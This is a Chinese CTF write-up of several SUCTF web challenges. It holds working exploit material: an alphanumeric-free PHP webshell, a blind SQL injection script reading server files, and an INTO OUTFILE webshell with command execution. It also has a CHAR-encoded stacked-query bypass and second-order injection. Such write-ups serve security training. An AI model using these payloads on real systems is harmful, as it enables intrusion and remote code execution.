suctf补题

很久以前的比赛了,工作室同学说有docker,就用他的docker复现一下吧

Anonymous

描述:PHP是最好的语言,不是吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);

hitcon2017的baby^master那道题的第二个点,匿名函数名通过多线程预测

1
2
3
4
5
6
7
8
9
10
11
GET /?func_name=%00lambda_1 HTTP/1.1
Host: 118.24.125.87:84
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/§5§.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=rkb49l8crfqltdncen0brqotc5
Connection: close

blacsheep 拿到flag

1
SUCTF{fake_flag_web_a}

getshell

文件上传题 给了部分源码

1
2
3
4
5
6
7
8
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}

burp单字符跑黑名单 blacsheep 发现能用的字符很少,所有的字母数字都被ban了,想到p师傅博客里的绕过数字字母的webshell https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html 看到第一个版本

1
2
3
4
5
6
7
8
9
10
11
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

但是这里不能有>,<,/ 所以替换一下

1
2
3
4
5
6
7
<?php
$_=([]==[]);
$__=$_;
$___=瞰;$____=~($___[$_]);$___=次;$____.=~($___[$_]);$___=次;$____.=~($___[$_]);$___=的;$____.=~($___[$_]);$___=半;$____.=~($___[$_]);$___=站;$____.=~($___[$_]);
$_____=_;$___=母;$_____.=~($___[$_]);$___=少;$_____.=~($___[$_]);$___=次;$_____.=~($___[$_]);$___=站;$_____.=~($___[$_]);
$_=$$_____;
$____($_[$__]);

shell的密码是1 blacsheep

MultiSql

描述:刚入坑的小方写了个漏洞信息平台,听说这个平台存在漏洞,你能利用吗? 简单测试,发现id存在注入

1
http://118.24.125.87:82/user/user.php?id=1

整形注入,过滤了一些东西,不过无所谓还是可以注. 进一步测试,发现可以读取文件 写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import re
u=requests.session()
u.post('http://118.24.125.87:82/user/logCheck.php',\
data={'user': 'username','pass': 'username','submit': 'submit'})


for num in range(1,500):
for each in range(33,128):
ok=0
url='http://118.24.125.87:82/user/user.php?id=1^\
(if(ascii(mid(load_file(\
0x2f7661722f7777772f68746d6c2f66617669636f6e2f7368656c6c2e706870\
),{place},1))%3D{asc},0,1))'.format(place=num,asc=each)
r=u.get(url)
if 'admin' in r.text:
print(chr(each),end='')
break
if each=='Z':
ok=1
if ok==1:
break

用止痒同学的shell

理论来说是可以读完文件的,不过这里我就偷懒了 首先简单看一下id,发现前面有人写

1
<?php `$_GET[x]`;?>'into outfile'/var/www/html/favicon/4.php

尝试访问4.php 发现可以访问,那么直接去读4.php的代码,发现是个命令执行的文件 那么直接写一个shell 然后看到

1
http://118.24.125.87:82/favicon/shell.php?cmd=var_dump(`cat%20/var/www/html/index.php`);

可以开始读文件了,找flag blacsheep

预期解

读文件,读到user/user.php,发现mysqli_multi_query() 那么可以用分号隔开执行其他命令 为了绕过引号的限制,使用预编译语句

1
2
3
set @s=concat(CHAR(115),CHAR(101),CHAR(108),CHAR(101),CHAR(99),CHAR(116),CHAR(32),CHAR(39),CHAR(60),CHAR(63),CHAR(112),CHAR(104),CHAR(112),CHAR(32),CHAR(112),CHAR(104),CHAR(112),CHAR(105),CHAR(110),CHAR(102),CHAR(111),CHAR(40),CHAR(41),CHAR(59),CHAR(63),CHAR(62),CHAR(39),CHAR(32),CHAR(105),CHAR(110),CHAR(116),CHAR(111),CHAR(32),CHAR(111),CHAR(117),CHAR(116),CHAR(102),CHAR(105),CHAR(108),CHAR(101),CHAR(32),CHAR(39),CHAR(47),CHAR(118),CHAR(97),CHAR(114),CHAR(47),CHAR(119),CHAR(119),CHAR(119),CHAR(47),CHAR(104),CHAR(116),CHAR(109),CHAR(108),CHAR(47),CHAR(102),CHAR(97),CHAR(118),CHAR(105),CHAR(99),CHAR(111),CHAR(110),CHAR(47),CHAR(49),CHAR(46),CHAR(112),CHAR(104),CHAR(112),CHAR(39),CHAR(59));
PREPARE s2 FROM @s;
EXECUTE s2;

编码部分即

1
select '<?php phpinfo();?>' into outfile '/var/www/html/favicon/1.php';

然后blacsheep

非预期解

二次注入 注册的时候假设我们注册123'

1
2
3
4
5
6
7
$clean_name = waf($_POST['username']);
$clean_pass = waf($_POST['New_pass']);
...
...
$sql2 = "INSERT INTO dwvs_user_message(DWVS_user_name,DWVS_user_passwd,DWVS_user_enr_time) VALUES ('$clean_name','$password','$time')";
mysqli_query($connect,$sql2) or die("Error!!");
?>

这里存进数据库的username就是123' 然后退出登录,再登录进去,登录部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include_once('../bwvs_config/sys_config.php');
if(isset($_POST['submit'])){
if(!empty($_POST['user']) && !empty($_POST['pass'])){
$clean_name = waf($_POST['user']);

$clean_pass = waf($_POST['pass']);

$sql = "SELECT * FROM dwvs_user_message WHERE DWVS_user_name ="."'"."$clean_name"."'"." AND DWVS_user_passwd="."'".md5("$clean_pass")."'";

$data = mysqli_query($connect, $sql) or die('Mysql Error!!');
mysqli_close($connect);
if(mysqli_num_rows($data) == 1)
{
$row = mysqli_fetch_array($data);
$_SESSION['user_id'] = $row['DWVS_user_id'];
$_SESSION['user_name'] = $row['DWVS_user_name'];
if(!empty($row['DWVS_user_favicon']))
{
$_SESSION['user_favicon'] = $row['DWVS_user_favicon'];
}else
{
$rand_num = rand(1,4);
$user_favicon = "../favicon/"."$rand_num".".jpg";
$_SESSION['user_favicon'] = $user_favicon;
}
header('Location: user.php');
}else{
$_SESSION['login_error'] = 'Error';
header('Location: login.php');
}
}else{
$_SESSION['login_error'] = 'Error';
header('Location: login.php');
}

}else
{
not_find($_SERVER['PHP_SELF']);
}
?>

重点关注这里

1
$_SESSION['user_name'] = $row['DWVS_user_name'];

这里登录之后,session的值是从数据库取出的值,这里的引号并没有闭合,然后user.php

1
2
3
4
5
6
7
8
9
10
11
<?php
include_once('../bwvs_config/sys_config.php');

if (isset($_SESSION['user_name'])) {
include_once('../header.php');
if (!isset($SESSION['user_id'])) {
$sql = "SELECT * FROM dwvs_user_message WHERE DWVS_user_name ="."'{$_SESSION['user_name']}'";
$data = mysqli_query($connect,$sql) or die('Mysql Error!!');
$result = mysqli_fetch_array($data);
$_SESSION['user_id'] = $result['DWVS_user_id'];
}

这里$_SESSION['user_name']直接拼进去,那么就会导致引号被闭合,注入成功. 不过这里还是有坑,username字段长度是60,如果一句话太长是写不进去的 blacsheep 注意到就可以了,比如写个phpinfo blacsheep blacsheep

HateIT

描述:奶茶在一家互联网公司运维,然而,最近出了点问题.... hint:robots.txt 到robots.txt发现一个.so文件,拖ida分析一下,发现是个加密文件,主要部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int __fastcall zif_suenc_decode(__int64 a1, __int64 a2)
{
__int64 v2; // r14@1
signed __int64 v3; // rax@1
void *v4; // rbx@2
__int64 v5; // rcx@6
__int64 v6; // rsi@6
void *v8; // [sp+0h] [bp-20h]@1
int v9; // [sp+Ch] [bp-14h]@1

v2 = a2;
LODWORD(v3) = zend_parse_parameters(a1, "s", &v8, &v9);
if ( !v3 )
{
v4 = v8;
LODWORD(v3) = memcmp(v8, &suenc_header, 0xCuLL);
if ( v3 )
{
*a2 = 0LL;
*(a2 + 20) = 3;
}
else
{
v3 = v9 - 12LL;
if ( v9 > 0LL && v9 != 12LL )
{
v5 = 0LL;
v6 = 0LL;
do
{
if ( v5 & 1 )
{
v6 = (v5 + suenc_key[v6] + v6) & 0xF;
*(v4 + v5 + 12) = ~(suenc_key[v6] ^ *(v4 + v5 + 12));
}
++v5;
}
while ( v3 != v5 );
v4 = v8;
}
*(v2 + 8) = v3;
*v2 = v4 + 12;
*(v2 + 20) = 6;
}
}
return v3;
}

简单看下 zend_parse_parameters解参数,获得密文地址v8和长度v9 然后从密文第12位之后一次进行加密 解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
suenc_key = [0x49, 0xfa, 0x0, 0xfa, 0x0, 0x23, 0xff, 0x23,\
0x8e, 0xea, 0xfa, 0xf3, 0xa6, 0xf3, 0xc6, 0x8e]

def decode(a1):
a2 = len(a1)
if a2:
v2 = 0
v3 = 0
while a2 != v2:
if v2 & 1:
v3 = (v2 + suenc_key[v3] + v3) & 0xf
a1[v2] = ~(suenc_key[v3] ^ a1[v2]) & 0xff
v2+=1
return a1.decode()

with open('admin.php','rb') as f:
cipher = f.read()
print(decode(bytearray(cipher)[12:]))

从而获得所有源码 然后这一部分是.so的解密,但是发现没有index.php,但是又一段opcode,所以自己去解咯 自己去解了一下,解了一部分,后面的解不下去了... index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php
//!0 = $username, !1 = $md5, !2 = $admin, !3 = $token, !4 = $sign, !5 = $info
if(!isset($_SESSION)) {
}
session_start();

include_once('func.php');
if(isset($_GET['username'])) {

$username = $_GET['username'];

$md5 = md5(get_identify().$username);
$token = encrypt($username,'',$admin,'',$md5);
$_SESSION['sign'] = $md5;
$_SESSION['token'] = $token;
}
showImage();
if(isset($_GET['sign'])&&isset($_GET['token']))
{
$sign = $_GET['sign'];
$token = $_GET['token'];
echo 'sign+%3A+'.$sign.'%3Cbr%3E%0A';
echo 'token%3A+'.$token.'%3Cbr%3E%0A';
$info = explode(decrypt($token),'');
echo decrypt($token);
var_dump($info);
if(count($info) == 3)
{

if(md5(get_identify().$info[0]) == $info[2] && $sign = $info[1])
{
$admin = $info[1];
}
else
{
die();
}
}
else
{
die();
}
}
else if(isset($_SESSION['token'])&&isset($_SESSION['sign']))
{
echo 'sign+%3A+'.$_SESSION['sign'].'%3Cbr%3E%0A';
echo 'token%3A+'.$_SESSION['token'].'%3Cbr%3E%0A';
$token = $_SESSION['token'];
$sign = $_SESSION['token'];
$info = explode(decrypt($token),'');
if(count($info) == 3)
{
if(md5(get_identify().$info[0]) == $info[2] && $sign = $info[1])
{
$admin = $info[1];
echo '%3Cbr%3E'.$admin;
}
else
{
die();
}

}
else
{
die();
}
}
if(isset($admin))
{
if($admin == 3)
{
$_SESSION['auth'] = 'admin';
echo '%3Ca+href%3D%27admin.php%27%3EAdmin%3C%2Fa%3E';
}
}

发现admin.php里面的命令执行,只需要生产一个admin的token就可以了,不过环境的原因,token总是生成失败,后面懒得写了,gugugu了无数年,把这篇文章发了吧,homework那题有时间再补吧..